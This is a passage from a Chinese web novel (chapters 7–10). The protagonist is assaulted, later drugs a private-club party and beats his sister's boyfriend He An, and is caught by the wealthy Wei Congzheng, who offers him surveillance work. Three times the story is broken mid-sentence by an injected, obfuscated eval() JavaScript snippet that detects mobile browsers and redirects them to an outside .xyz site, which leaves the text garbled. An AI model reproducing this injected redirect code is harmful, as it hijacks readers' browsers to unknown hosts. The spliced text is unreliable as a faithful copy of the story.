《路人甲穿书实录》
7. 遇袭
分手的过程比韩渡想象中顺利,薛子航问他为什么,他给的回答是“人是会变的。”
薛子航大怒,指着韩渡的鼻子狠狠骂了一顿,韩渡无可奈何,只能任他发泄。
见韩渡这样的态度,薛子航只觉得一拳头打在了棉花上,气得牙痒。最后,他口不择言地说了些类似“可别后悔”“小小的公司职员”的话,戴上黑色口罩愤然离场。
韩渡目送他离开,心里长长出了口气。只要能分手,挨些骂不算什么。就算不看后面走向不妙的剧情,他也很难说服自己去维持这段关系,他毕竟不是原主,就拿那晚薛子航提的要求来说,他总不能每次都找借口拒绝履行这种情侣义务。
终于,他又恢复了单身生活。
时间一天天过去,韩渡逐渐适应了新的身份。
偶尔也能在公司茶水间听到薛子航的消息,大多还是关于他的绯闻轶事。
“你知道吗,薛子航又被拍到了。”
“他又谈恋爱了?”
“好像是,这回是个男的。”
“真的假的,他男女通吃啊?”
“你不知道吗?”
韩渡默默离开茶水间,回到工位继续工作。
薛子航的事情看来是过去了,没有薛子航,自然也就没有了后面报复两个主角的事,韩渡这个原著中本就戏份潦草的路人甲,至此也可以悄无声息地从故事线里退出了。韩渡手下打字动作不停,这样的想法在脑海中一闪而过。
心无旁骛地工作到下班时间,周围同事陆陆续续离开,韩渡将手头的一份资料整理完,提交给领导审核,等待中,办公楼外华灯初上,夜色渐深。
最后收工的时间已经过了晚上八点,韩渡穿过幽暗的走廊,搭乘电梯一路来到地下车库。
公司的地下车库不小,空旷而湿寒,只有几盏昏黄的照明灯在黑暗的地下闪烁。
原身留下了一辆白色的代步车,刚买没两年,价值不高但保养得很好。
韩渡找到那辆车,正要打开车门,忽然瞥见后视镜里有黑影一闪而过。他下意识地抬头往右上角看去,见监控摄像头正在闪着红色的灯光,便按下了那丝疑虑。
会是流浪猫流浪狗之类的吗?转念一想,韩渡还是有些不放心,松开车门把手,走到汽车尾部,弯腰朝车底看去。
就在这时,棍棒划破空气的声音在他身后乍然响起,紧接着“砰”地一下狠狠砸在了他背上。
韩渡被砸得扑倒在车后盖上,额头磕出血来,疼得冷汗直冒。
来人下手极狠,不给他回身的机会,棍棒接二连三地砸了下来,一下比一下凶狠。
韩渡翻身从车盖上滚下来,忍着疼痛要去夺那根棍子,可是动作总能被对方拦下来,不知不觉中,身上已经挨了近十下。
对方一脚将他踹翻在地,对待沙包一样在他身上连踩带踢。几次还手未果,韩渡逐渐失去力气,只能尽力抱头蜷缩身体,咬着牙将痛呼咽进喉咙。
那人从头到尾都没发出声音,走的时候甚至也是静悄悄的。一切都发生得太快,韩渡甚至不知道他的目的是什么。
喉咙里咳出血沫,韩渡绷紧的四肢缓缓张开。他忍着疼痛从衣服里掏出手机,按通了急救电话……
从医院清醒过来后,韩渡向公司说明了请假理由,之后便安心在病房里养伤。
期间警察来找他做笔录,但也告诉了他一个不好的消息,事发时间段,地下车库的监控出了点问题,并没有捕捉到歹徒形迹,逮捕到嫌疑人的概率很低。
韩渡告诉警察,事发时监控是完好的,不存在出故障一说。
警察点头,将他的话记录在册,嘱咐他好好养伤,便离开了医院。
韩渡失望地看着关上的房门,对于抓到歹徒已经不抱希望。
这歹徒身手不俗,行动又极为干练,毫不拖泥带水,不像是一般混混,更像是被人雇佣的专业打手。但他又是得罪了哪路神仙,值得人特地花钱买凶?
韩渡只能想到薛子航。
可是至于吗?因为被分手,薛子航就去买凶伤人?看性格他也不像是能做出这种事的人,况且距离分手也有一段时间了,何至于等到今天才下手报复?
当然,也不能就此排除薛子航的嫌疑。
那又会不会是原身之前惹上的仇家?
可惜线索太少,仅凭胡乱揣测,根本拼凑不出答案。
韩渡望着窗外一碧如洗的天空,心情却前所未有的沉重。
这天,第一批来院探病的人到了。
虽然之前在电话里有沟通过,但这还是韩渡第一次见到原主的妹妹。
韩卉长相清丽,体态纤瘦,据说是传媒学院舞蹈专业的在读生,平日里都住在学校,得知韩渡受伤住院的事,当即就说要来陪护。
“哥,严重吗?”一进门,韩卉就搬了张凳子守在病床边,心疼地观察韩渡的脸色。
韩渡宽慰她:“放心吧,医生说没大碍。”
“真的?”韩卉眉头蹙起,不太相信,“可是你都住院了。”
“真的,再过几天就能出院。”
“不行,咱们多住几天。”韩卉坚决不同意,“你还年纪轻,千万不能落下病根,我们多花点时间把伤养好。”
韩卉又关切地询问了一会儿他的身体状况,得知医生说了恢复得很好,这才放下心来,转而问道:“哥你知道是谁干的吗?”
韩渡遗憾地看着她:“警察说监控坏了,没有留下那个人的影像。”
“怎么会这么巧?监控是有人蓄意弄坏的吧?总不能一路上所有的监控都坏了!”韩卉惊怒。
“事发时候监控还没有问题,恐怕是事后做的动作。”韩渡将自己的推测告诉她,担心她气坏身子,于是说道,“相信警察吧,他们毕竟比我们专业,可能很快就会有结果了。”
见韩卉余怒未消,韩渡往她身后看了一眼,打趣道:“这位是谁,你还没给我介绍呢。”
跟韩卉一起过来的还有一个斯文俊秀的青年,戴着一副细框眼镜,自打进了病房便没出声,默默站在韩卉身后。
韩渡注意到他虽然衣着朴素,脚上的鞋、手腕上的表却价值不菲。韩卉只是普通家庭出身,怎么会认识这样的朋友?
韩卉这才意识到自己忘记了什么,面色一红,羞赧道:“哥,忘了跟你介绍,这是我朋友何安。”
韩渡向他打招呼。
何安微笑着说:“韩渡哥你好,我是小卉男朋友。”
韩卉的脸更红了,逃也似的从带来的果篮里拿出一只苹果:“你们先聊,我去削个苹果。”
一时间,病房里只剩下韩渡和何安。
“小卉经常跟我说,她有个对她很好的哥哥。”何安在韩卉的凳子上坐下,主动开口道。
韩渡客气地与他寒暄片刻,问道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897214|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你们是怎么认识的?”
“学生会活动的时候,我们参加同一个节目。”何安笑着说,“我很喜欢看她跳舞,能感受到一种不受拘束的生命力,特别吸引人。”
韩渡又问道:“你不是舞蹈专业吧?”
何安点头说:“我那天负责摄影。”
两人又聊了会儿摄影相关的话题,韩渡又好奇道:“你们在一起多久了?”
“两个月左右,之前我经常帮她们舞蹈专业的人拍东西,一来二去,大家都比较熟了。”
这时,韩卉带着削好的苹果走了回来,见他们气氛和谐,偷偷将提着的心放了回去。
三人有说有笑间,一个下午过去了。临近傍晚,何安有事先告辞离开了,留下韩卉在医院陪床。
韩渡本想劝她回学校住,说自己伤势控制得很好,不需要她专门留下陪护。可是韩卉态度很坚决,说什么都不肯走。
见她把架子床都铺开了,韩渡只好作罢。
简单解决了晚饭后,韩卉一边收拾餐具,一边问道:“哥,你觉得何安这个人怎么样?”
韩渡见她装作不经意的样子,笑道:“长得不错,说话也有礼貌。”
“还有呢?”
韩渡忍俊不禁:“是你找男朋友,怎么问起我来了。”
“问问嘛,你比我见识多,我想听听你的意见。”韩卉扭头嘀咕道。
“你们刚在一起没多久,可以再接触了解一下,多观察他的性格、行为方式、社交圈子。”韩渡道,“我跟他只见了一面,不好评价什么,更重要的是你自己的感受。”
韩卉若有所思地点头。
夜里,整座医院大楼变得宁静祥和,只有护士的脚步声时不时在走道里回荡。
因为伤在脊背,韩渡的睡觉姿势不是很舒服,导致他一时无法入睡。
他听见左手边架子床上传来翻身的嘎吱声。
“哥,你是不是身上疼?”韩卉也没睡,她侧脸看向韩渡,轻声问道。
黑暗中,年轻女孩秀丽的眼睛里满是关切。
韩渡也轻声回道:“怎么还不睡?”
“你都没睡。”
韩渡望向她,缓缓开口:“我是身上有伤,你是有心事?”
“嗯,”韩卉的嗓音细细沙沙,像风里的树叶,“监控坏了,假如警察抓不到人,咱们岂不是吃了闷亏。而且,我很怕他又来找你……”
韩渡安静地看着她,这个问题他不是没想过。只是没想到,韩卉也能为这个“哥哥”考虑那么细致。
“没事,再有下次,我也会反击的。”
“哥,你一定要好好的。”韩卉呢喃着说。
“嗯,我会的。”
“哥,他都没来看你。”
“谁?”
“你男朋友。你都住院了,他怎么不来照顾你,之前你连他是谁都不肯告诉我。”韩卉怨怼道,“你这样让我怎么放心。”
韩渡反应过来,韩卉口中的“男朋友”应该就是指薛子航。以薛子航的身份,两人之前选择不公开恋情是很合理的。韩渡解释道:“我跟他已经分手了。”
“真的?”
“不骗你。”
“哥。”
“嗯?”
“没什么。”
“怎么还吞吞吐吐?”
“诶呀,不说了,你快睡!”韩卉翻了个身,将自己埋进了被子里。
8. 半年后
出院后,韩渡做的第一件事是向公司物业了解监控摄像头的事。
物业给的答复跟警察那边基本一致:当天晚上,监控确实出了故障,没有记录到相关时段的影像。
韩渡还要再问,物业人员却不耐烦地连连挥手:“该说的都跟警察说了,你有问题去找他们。”
韩渡没办法,只好无奈地回到家。到家后,他看着半个多月没人住、已经落了不少灰尘的房子,决心用大扫除排解积郁。
接下来一个月,他将家里的一应家具,能替换的都替换了。首先是门锁,旧的门锁钥匙还留了一把在薛子航那里,韩渡索性直接换了新锁。然后是床单被套、窗帘枕头,通通都按照自己的习惯换了一遍。
接着,韩渡陆陆续续把衣橱里风格各异的衣服都打包清理了出去,原主使用过的生活用品、私人护肤品、冰箱里囤积的食物等等,也全都被他分批送去了小区楼下的垃圾回收站。
逛大型商超和家具城成了韩渡的新爱好。
因为扔掉的东西太多,急需补充一批新的家居用品,他按照轻重缓急列了张购物清单,一到周末就开车去商场采购。
让他感到新奇的是,这个世界的商标品牌跟他原来生活的世界大不相同,他以往用惯的牌子在这里都找不到,所以他还得仔细研究产品功效,一样一样去磨合。
这些在小说里不会出现的生活细节,画卷一样在韩渡面前缓缓展开,体验非常奇妙。
他也更加深刻地意识到,这是个真实而鲜活的世界,除了出现在故事线里的主角配角,还有无数个像他一样、甚至没有姓名的“路人甲”,每个人都拥有属于自己的生活节奏,都是自己人生的主角。
适应新生活的感觉总体而言还是很美妙的,美中不足的是,他发现原主背负着一笔不小的房贷。燕城房价寸土寸金,韩渡现在居住的两室一厅,每个月要交近一万的房贷,几乎覆盖了他一大半的收入。也是因此,他现在几乎没攒下什么存款。
所以当初为什么要买这套房子?韩渡感到万分不解。这种经济压力可不是一般人能长期负担的,原主到底是怎么想的?这个问题显然没有人能回答他。只是这样一来,韩渡更不能轻易辞掉现在这份工作了。
韩卉偶尔会在周末来找他,两个人自己在家做点饭,饭后就在楼下的小公园散步消食,聊些家长里短,借此,韩渡对原身的家庭背景也有了更深入的了解。
他有问过韩卉将来毕业了想做什么,韩卉说想继续跳舞,她已经看中了燕城几家不错的歌舞团。
“竞争特别激烈,开放的名额一年比一年少。”谈到未来,韩卉虽然有规划,却不怎么乐观,“而且,我身边条件好、能力突出的人很多,一些人还没毕业就被相中了。”
“我有个同学,人长得很漂亮,舞也跳得好,前段时间签约了摩卡娱乐。”见韩渡对摩卡娱乐不太清楚,韩卉解释说,“就是苏郁明签约的那家公司,苏郁明你知道吗?”
“听说过这个名字。”韩渡随口道,安慰她说,“咱们不用急于一时,只要一直好好跳舞,总会遇见伯乐的。”
“说起来容易。”韩卉低垂目光,“我会尽力的。”
半年后。
燕城地理位置偏北,冬季常有雨雪天气。今年的第一场大雪在某个平凡的日子突然降临。
寒风夹着冰雪在冬夜的冷空气中肆虐,深巷里杳无人烟,只能闻到一股潮湿的腥气。
韩渡裹着件深黑色长棉袄,脖间系了一条素色羊绒围巾,短靴行走在绵软的积雪上,发出细碎的踩雪声。
快走到巷口时,他将棉袄后的帽子戴在了头上,抬头看了看并不明朗的月色。
出了巷口左拐,是一栋掩映在假山石和藤蔓里的黑色建筑。这时节,墙上只剩下一枝枝蜿蜒的枯藤,山石上落了一层厚厚白雪,偶有几根冰柱垂挂其间。
穿过石洞,沿着一条石子小径往深处走,韩渡被出现在眼前的两个门卫拦住。
他不紧不慢地从口袋里伸出手,向对方出示了“会员卡”,对方看了一眼,侧身放他入内。
将手感略显粗粝的“会员卡”收回衣兜,韩渡跨过脚下门槛。
再进去是一间中式庭院,人造的亭桥湖草与各色灯光辉映,与脚踝一般高度的地方缭绕着沁凉的白色水雾,这间庭院的场景打造得犹如仙境。
韩渡目不斜视地沿着木桥向对面走去。
走到廊上,有打扮典雅的女侍替他掸雪,随后蹲下为他换上拖鞋,将脱下的靴子寄放在一旁的箱格里,一切都做完后,倾身推开了韩渡身前的移门。
韩渡没有急着进去,而是问道:“不好意思,我是第一次来,我朋友先到了,能帮我看一下他在哪里吗?”
女侍道:“您有他的联系方式吗?”
“他这会儿在忙,联系不上。”韩渡说。
“您的朋友是?”
“何安。”韩渡从手机相册中调出照片,放在她眼前。
女侍看了一眼照片,微笑道:“您进门直走,在尽头右转,然后右手边第二间屋子就是。”
“谢谢。”韩渡收回手机。
“您客气了。”女侍款款点头。
走廊很长,每扇门之间间隔约有五至六米,目测每间屋子空间都很大。韩渡顺着女侍说的方向前行,来到里面走廊第二间屋子的时候,停下脚步,做出在口袋里摸烟的样子。
他侧耳细听屋里的动静。
可惜房间隔音做得很好,听不见什么声音。
韩渡没有停留很久,掏出一支烟,放在嘴边,另一只手拿出打火机,没有推门进去,而是往更里面的洗手间走去。
洗手间里空无一人,隐约能听见通风扇呼呼搅动的声音。韩渡走到镜子前,随手抓了个潦草的新发型,用带来的眉笔将自己的眉形和眼睛改了改,最后戴上一副黑框眼镜。再抬起头时,镜子里像换了个人。
选择这种私人会所的好处就是,一路走来,韩渡没看到有监控存在。但是出于谨慎,他还是按原计划稍微掩饰了一下自己的长相。
他在走廊拐角处等了有半个钟头,迎面走来一个端着酒水的男服务员。
韩渡挂上笑容,两步迎上去:“小哥,有件事想麻烦你……”
十五分钟后,韩渡换了身会所的制服,端着酒盘,重新出现在那间包厢门口。
他轻扣房门,随后低头推门而入。
一扇色泽温润的丝绸屏风将包
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897215|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厢划分出里外两个空间,外面的四五个人在喝酒聊天,中间站着位手持麦克风的年轻姑娘,旁若无人地唱着抒情小曲,包裹在旗袍下的身姿随着节奏缓缓摇曳。
屏风里面的情形看不太清楚,只能看见隐隐绰绰几个人影。
韩渡只暼了一眼,将酒水放在茶几上便转身离开了。
出了包厢,他换回自己的衣服,来到庭院,找了处无人的池边坐下,探手在冰冷的池水里晃悠。
一圈圈涟漪将时间缓缓荡开。
夜色渐深,陆续有人散场离开。韩渡估摸着人走得差不多了,起身往回走。
推开那扇门时,唱歌的姑娘已经离开了,包厢里非常安静。
屏风外的几个年轻男人东倒西歪地趴在沙发上,如死尸般一动也不动。
韩渡一眼就找到了何安,但没有急着过去。他反手将门锁上,绕过屏风来到里间。
昏暗的室内,投影仪静静运转着,幕布上一帧帧画面无声地跳动。视线左前方是一面比人高的酒柜,摆放着近百瓶名贵酒水,空气中弥漫着一股浓郁的酒香。
长桌边坐了三个年龄相仿的年轻男人,此时都醉倒了趴在桌面上,在他们脚下,有跌落的酒瓶在地毯上洇出一大滩水渍。
确认在场的人都被放倒了,韩渡找到投影仪的开关,“啪”地关掉了机器。
一片漆黑中,韩渡走到何安身旁,顺手拿起一只酒瓶,毫不迟疑地抡在了对方头上。
酒瓶应声而碎,韩渡仿佛被这声刺激到了,当即丢下酒瓶,拎起何安的衣领,一拳又一拳地挥在他脸上。
一拳比一拳重,一拳比一拳狠,每一下都发泄着野蛮的怒意。
何其可悲,他只能用这样的方式来报复这个人渣。
“混蛋、人渣。”他低声怒喝道。
何安发出无意识的痛吟,却始终没有睁开眼睛。韩渡在酒水里下的迷药剂量太大了,他一时半刻根本醒不过来。
韩渡觉得自己要疯了。
苦闷、愤怒、躁郁、厌恶、悲伤……这些情绪决堤般一拥而上,压得他几乎喘不过气。
韩渡赤红着眼,下手愈发狠厉,恨不得就这么把人给弄死。
何安的五官已经被打得变形,猩红的血汩汩渗出,在伸手不见五指的黑暗中森然流淌。
“够了。”这时,一道低沉的声音忽然出现在韩渡身后。
“谁!”韩渡霍然转身,眼神锐利地盯向声音传来的方向。
但是太黑了,他看不清对方是谁,只能听见鞋底踩在地毯上发出的“沙沙”声。
韩渡悄悄拿起一只空酒瓶。
“是你下的药?”来者不答反问。
“你是谁?”韩渡当然不会承认,他又问了一遍。
对方淡笑着没有回答。韩渡正要趁机动作,顿时被人欺上身来,他感到手腕一紧,下一秒只听“咔嚓”一声,他的右手腕骨被人捏折,酒瓶当即“哐当”摔在了地毯上。
一阵钻心的剧痛袭来,韩渡险些痛呼出声。他用另一只胳膊肘击对方,想从对方手里挣脱。
可是双方力量悬殊,任凭他怎么挣扎,对方都纹丝不动地扣着他手腕,甚至加重了力气,让他疼得一再失神。
9. 交锋
“你跟何安有仇?”对方的声音不大,在漆黑的环境里却非常清晰,“能找到这里,却不知道我是谁?”不知何时,两人已凑得很近。韩渡瞅准时机,抬起膝盖就向前袭去。
对方反应也很敏捷,侧身迅速躲开。
韩渡急忙起身向门口跑,可眼前顿时一黑,被人重重踹在了腰窝。
这一脚的力气非常大,韩渡踉跄着跌倒在墙根,右手无力地耷落在身侧,左手撑在地面上,试图爬起来,可是被踹中的地方疼得不听使唤,根本无法动弹。
没过多久,对方按开了电源开关,一束灯光乍然在韩渡头顶打亮。
刺眼的灯光将韩渡被愤怒摧毁的理智拉回现实。一丝苦笑在他唇角一闪而过,他知道这回行动已经失败了。
“你下手怎么比我还狠?”打乱韩渡计划的那个男人往何安处看了一眼,顿时惊叹道。
韩渡抬头看向说话的人。
跟他的狼狈相比,对方看起来只是衣服皱巴了一些,哪怕是不怎么识货的韩渡也能从布料和剪裁中看出这身衣服的昂贵不俗。
韩渡本以为拿下自己的是保镖一类的人物,这一瞧倒是有些出乎意料。对方体型修长,肩宽腰窄,张扬俊美的五官中,尤以那双眼睛最为抓人,堪称漂亮的凤眼里,因为含着不明的笑意而显得骄邪恣意。此时居高临下看着韩渡,眼里还有着淡淡的倨傲和探究。
“你跟何安有什么恩怨。”他问。
“你报警吧。”韩渡没什么好说的。
对方像是听到了什么好笑的话,唇角微微一提,带有审视意味地上下打量韩渡:“报警?那岂不是正合你意。”
韩渡不禁心底一沉。不报警?这人想做什么,滥用私刑吗?
“峥哥,这小子砸了你的场子,不能轻易放过他。”一道颇怀恶意的声音自屏风后响起,另一个人走了出来。
被称为“峥哥”的男人似乎笑了笑,微翘的眼尾扫视韩渡,带出一丝散漫不经:“那种浓度的迷药,装服务生,还非要关灯再行动,我是该夸你谨慎小心呢,还是要说你这个人藏头露尾,不像好人?”
韩渡暗自警惕,这人居然早就察觉他在酒里下了药,还知道他伪装服务生的事,他的行动从一开始就败露了。
见韩渡不愿意说话,那两人倒也没急着逼问,而是很缺德地从被药倒的人身上扒下来两件衣服,拧成绳子将韩渡捆在了一张凳子上。
韩渡自知反抗不了,全程很是配合,只是在他们快捆绑完时“善意”地提醒了一句:“不帮他联系急救吗?”
何安正半死不活地躺在地上。
后出现的那个男人个头魁梧,剃了个板寸,行伍气息很浓,闻言嗤笑道:“人不是你打的?这时候来假好心。”
韩渡道:“当时灯太黑了,没想到会伤这么重。”
“别装模作样。”板寸男骂道。
“你去把郭子期弄醒。”“峥哥”打断二人,这么对板寸男吩咐道。
“哈哈,他这回可是吃瘪了。”板寸男大笑着,故意用力将绳结打紧,勒得韩渡又是一阵痛。
“峥哥”搬来张凳子,坐在韩渡对面:“说说吧,怎么找到这里的?”
韩渡望着他:“何安每个月都会过来一次,不难查到。”
“原来如此。”他点头,目光在韩渡脸上看了会,看出了点名堂,倾身向前,伸手摘下了韩渡脸上的眼镜。
看着手中这副经典款式的平光眼镜,他笑了:“小动作倒是不少。”
韩渡别过头,没说话。
“你跟何安的恩怨,既然你不愿意说,我也就不问了。能找到这里,也算是有点本事,只是我很好奇,你就是把他揍个半死,也不能解决问题,但你有想过后果吗?”
当然想过,不然他也不用大费周折做这么一大堆事。韩渡心里想着,嘴上却说:“不用你操心。”
“不怕进去蹲个十年?”
“要是没有你在,我不就已经成功了?”韩渡对他笑道。即使落入下风,他也不愿意在这人面前露怯。
“可是我在啊。”对方又笑了,只是这回暗含讥诮,“我还以为是什么人干的好事,结果你就图个泄愤?”
韩渡压下胸口隐隐升起的怒火,沉声道:“你什么都不知道,有什么资格在这里说风凉话?”
“峥哥哪有闲工夫跟你说风凉话,他是在看你好笑。”板寸男从屏风后走出来,对“峥哥”摇头道,“不行,这小子下的剂量太重。”
“峥哥”没有感到意外:“那就放着吧。”
板寸男顿时面色不善地看向韩渡:“你怎么不直接用毒药毒死我们呢?”
“下次一定考虑周到。”韩渡反唇相讥。
“都被捆着了还死鸭子嘴硬,信不信我打死你。”板寸男面露凶光,擦了擦拳头。
“程松。”“峥哥”出言制止了他,倒是没有对韩渡的态度感到不满,反而饶有兴致地说,“你这么硬气,是看准我们不会拿你怎么样了?”
韩渡笑了笑,没有否认。何安还尸体一样笔挺挺地躺在地上,是死是活都没整明白,也没见这两个人有多紧张,稍微一想就知道这两人根本没放在心上,就算是摆出架势把他捆了起来,也不见得是要对他下手。
“峥哥”向板寸男,也就是程松使了个眼色,程松当即心领神会地走过来,动作熟练地从上往下开始搜韩渡的身。
韩渡心里“咯噔”一下,可惜双手双脚都被绑着,实在腾不出手去阻止他,只好眼睁睁看着他从自己身上搜出一样样的东西。
“化妆笔、会员证明、钥匙、打火机、烟、窃听器……”程松每搜出一样东西,就念叨一句,脸色也越来越黑。
他将正闪着灯的窃听器扔进房间内的鱼缸里,对“峥哥”说:“这小子贼得很,没带手机和身份证。”
韩渡脸色也并不好看,这人搜身的动作非常麻利,一看就是“惯犯”。
在场唯一脸色松快的恐怕就是“峥哥”,他甚至笑着又仔细打量了一番韩渡:“真是人不可貌相,你做了多久的准备?”
“我对你们没有恶意,我的目标只有何安。”韩渡说道。
“我知道。”对方歪了歪头,“可是你又不打算杀了他,难道是想等他醒过来收拾你?还是说,你觉得你的这些伎俩,能瞒得过警察和何家?”
对方轻描淡写一个“杀”字,惹得韩渡暗自心惊,他看向那人,只见对方扬起嘴角,抚掌而笑:“你对我们没有恶意,我们对你也是这样,非但没有恶意,我甚至觉得你还有点聪明。不如你想想办法说服我,让我替你解决这件事。”
韩渡跟他对视:“我哪有这个本事。”
程松插话道:“我们峥哥看得起你才给你这个机会,不要敬酒不吃吃罚酒。”
韩渡道:“谁知道你们安的什么心。我今天来了,就考虑过后果,你们既然不打算把我怎么样,要么放人,要么就报警吧。”
“你这家伙还真是!”程松怒道。
“报警你是别想了。你是个聪明人,现在能帮你的只有我,还是说你想等何安醒过来,让他来处置你?”“峥哥”依然语气轻快,手里捏着从韩渡脸上摘下的眼镜,放在自己眼前比了比,“你不说我也能猜到,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897216|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何安这人最大的毛病就是喜欢玩女人,尤其是那种小有姿色,心比天高,偏偏又出身一般的女人。这个女人是你女朋友?还是你家属?你既然找到这里,想必是走投无路了,现在又落到他手里任他磋磨,你要是情愿的话,我也可以成全你。”
韩渡在他说话的时候已经默默垂下了眼睛。
【在燕城,你们这种人活该被打,被打了还不吸取教训,送上门来给人玩。玩就玩了,不要事后又一副玩不起的样子,当了婊子还要立牌坊。】
何安虚伪而丑陋的嘴脸在韩渡脑海中反复回荡,心火灼得他这些时日寝食难安。能想的办法他都想了,可是正如他被人袭击的那次一样,寻求真相和公道的过程屡屡碰壁,软钉子硬茬子吃了个遍。他明知道罪魁祸首就是何安,却愣是拿对方一点办法都没有。
也是在这个过程中,韩渡渐渐察觉到,这个世界比他原先所处的要复杂许多,水面下的东西远比他想象中更盘根错节。
良久,在“峥哥”玩味而耐心的注视下,韩渡开口道:“不情愿又能怎么样?”
“求我啊。”
“求你?”韩渡哂笑。
“你想求程松也没问题。”他笑道。
韩渡收起表情:“你们是谁?跟何安什么关系?”
魏从峥感到好笑,这人打一开始就口风严得像嘴被缝上了似的,问什么都不回答,这会儿反倒来打听他们跟脚了,还真是一点“阶下囚”的自觉都没有。
“你先说说你是谁吧。”他同样避而不答。
“你想让我求你,不先坦诚一点?”韩渡道,“人家卖西瓜的,都知道要先切一块让买家尝尝滋味。”
程松被他这个比喻逗乐了,板着的脸一下破了功。
“瞧瞧,你瞧瞧。”魏从峥拿眼镜指着韩渡,对程松叹气道,“这年头做好人好事都这么难,想帮人摆平麻烦,还要上赶着先投简历。”
程松笑完摇头,认真地说:“这人寻仇来的,指不定有什么深仇大恨,多一事不如少一事,咱们还是把他丢给何家吧。”
魏从峥轻笑着斜了眼他:“你说的有道理,我何必自找麻烦,不如你去弄醒何安,看看他怎么说。如果他的说法有趣,就凭他处置了。”
程松无奈地瞥了眼何安,耸耸厚实的肩膀:“他眼瞅着快跟阎王老爷对上线了,谁能把他弄醒?”
魏从峥对韩渡说:“看你干的好事,这人要是死了,你就收拾收拾,准备进去蹲一辈子吧。”
韩渡不吃他恐吓这招:“你也跑不了一个见死不救。”
“那还是比不上你故意杀人。”魏从峥谦虚了一下,忽而问程松:“结果出来了吗?”
程松看了眼自己手机,笑道:“出来了,这小子叫韩渡。”
韩渡听得一愣。
程松浏览着手机里的内容,拣要紧的告诉魏从峥:“没错,他有个妹妹,之前跟何安走得很近,最近没什么消息了。至于他自己,两个月前找过何安麻烦,扬言要起诉何安,何安找人打点过了,所以没起什么风浪。嗯?这小子还在你手底下工作。”
“我手底下?”这下轮到魏从峥疑惑了。
“对,海恒制药,虽然倒了几手,背后确实是你们魏家控股。”
魏从峥乐了:“燕城这么小?”
程松也笑了。燕城当然不小,是魏家太“大”了,以魏氏为代表的几大世家牢牢盘踞在这座城市,历经百年,早已经树大根深、权势熏天。
“那他?”程松看了眼韩渡,询问魏从峥。
魏从峥朝韩渡浅笑:“你也说了,他算是我的员工。”
10. 合约与噩耗
“要我看,还是交给何家比较妥当。”程松不由提醒道。
魏从峥手腕微动,捏着眼镜一下一下轻叩凳子边缘:“人是我拿的,跟何家有什么关系。”
韩渡注意到,尽管他这句话说的平淡,程松却肩头一紧,不再发表意见。
程松跟魏从峥多年关系,对他性情也算有七分了解,知道话说到这份上,这位已经是拿定了主意。
只是他也纳闷,为什么今晚要在一个陌生男人身上花费这么多时间,直接把人绑了交给何家就是了。他视线扫过韩渡的头脸和胸腹,感觉自己找到了答案。他又想起来刚才郭子期说的话,魏从峥又跟那个流量明星闹不愉快了,听说这次冷战得很凶。难道是在那边碰了壁,所以现在要来这边打野食?
也是古怪了,在他看来,男人哪有女人香,偏偏自家兄弟喜欢男人喜欢得紧。结果呢?现在三天两头闹矛盾,两个大男人整天硬碰硬,一场恋爱谈得鸡飞狗跳。他实在是看不下去了,好在过两天他就要出海,没个一年半载的回不来,横竖眼不见为净。
听魏从峥说不会把自己交给何家,韩渡暗地里松了口气,事情总算不会走到最糟的那步。他不怕对方把他扭送警察局,也不担心这两个人合伙打他一顿,最担心的是落到何安那个小人手里。
“你也别高兴太早。”魏从峥仿佛看穿韩渡的心思,说道,“今晚怎么说,你也是摆了我们一道,你不肯求我,那你自己出个主意,该怎么罚你?”
韩渡不是看不懂形势的愣头青,见此也换了态度:“是我今天冒失,既然已经这样,我任由你们处置,我在你手底下工作,要辞退我还是怎么样都可以。只是我有一些话不吐不快。”见魏从峥没有打断自己,韩渡继续说:“何安是个伪君子,平日里伪装得人模狗样,实际上品行低劣,卑鄙无耻,仗着有点家世无法无天,他这样的人,迟早会惹出祸事,到时候他和他家里都兜不住了,保不准殃及你们这些朋友。”
“这算是忠告?”魏从峥扬了扬唇角。
韩渡摇头:“我随口一说。”
魏从峥笑道:“你说可以辞退你?”
“你们查的没错,我是在海恒制药工作。”如果对方真的控股海恒这家公司,辞退他是完全没问题的。
“为什么要辞退你?只是你这样的人才,该用到合适的地方。”
“什么?”韩渡不明白他的意思。
“侦查、追踪,”魏从峥顿了顿,看一眼韩渡长相,补充道,“长相具有迷惑性,心理素质过关,下手也够狠,我这里恰好有一项工作适合你,工资翻倍,你做不做?”
这回韩渡听明白了:“这是要给我调岗?”
“也可以这么说。”
“什么工作?”
“跟踪一个人。”
“谁?”
“后面我会让助理把相关资料发给你,放心,只是个普通的大学老师。”魏从峥道,转而对程松说,“联系急救吧,别真让他死在这儿了。”
